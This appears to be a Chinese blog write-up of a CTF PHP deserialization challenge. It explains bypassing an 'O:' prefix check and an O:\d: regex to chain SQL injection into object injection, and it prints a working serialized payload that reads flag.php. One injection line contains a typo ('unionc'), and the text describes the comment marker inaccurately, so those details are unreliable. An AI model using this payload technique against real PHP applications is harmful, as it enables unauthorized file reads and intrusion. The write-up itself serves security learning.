版权声明:欢迎提问:[email protected] https://blog.csdn.net/include_heqile/article/details/82347609
题目一共三个文件:
https://pan.baidu.com/s/1OfYZEZ7qWcv2I9OwlcU6_A
反序列化漏洞的详细说明可在这篇博客上了解到,讲解还是比较详细的:
https://blog.csdn.net/qq_19876131/article/details/52890854
本题目主要就是利用HITCON
和SoFun
两个类中的__wakeup
函数,我们可以控制HITCON
对象的$method
和$args
变量,来进行SQL
注入,注入语句如下:
1' and 1=2 unionc select 1,2 ','a:1:{i:0;O:5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'--
注意后面的SQL
注释符号是两个下划线和一个空格
因为我们要绕过substr($data, 0, 2) !== 'O:'
,所以就不能单纯地序列化一个对象,而是把对象包裹在数组中来绕过这个过滤条件,构造的时候是这样的:
$a = array(new SoFun())
这样序列化之后最前面的字符串就变成了a:
,然后再考虑如何绕过正则表达式,因为题目中只是过滤了O:\d:
模式串,我们只要破坏\d
就行了,PHP
的反序列化函数unserialize
的参数中的数字是可以有+
号的,所以我们在构造完payload
之后,在SoFun
的序列化字符串中把5
前面加上经过url
编码之后的+
也就是%2B
即可,不要忘了把HITCON
对象序列化字符串中表示参数长度的s
的值加1,然后我们就能顺利得到flag
了。
payload
如下:
O:6:"HITCON":4:{s:6:"method";s:5:"login";s:4:"args";a:2:{i:0;s:86:"1' and 1=2 union select 1,2,'a:1:{i:0;O:%2B5:"SoFun":2:{s:4:"file";s:8:"flag.php";}}'-- ";i:1;s:1:" ";}s:4:"conn";i:0;}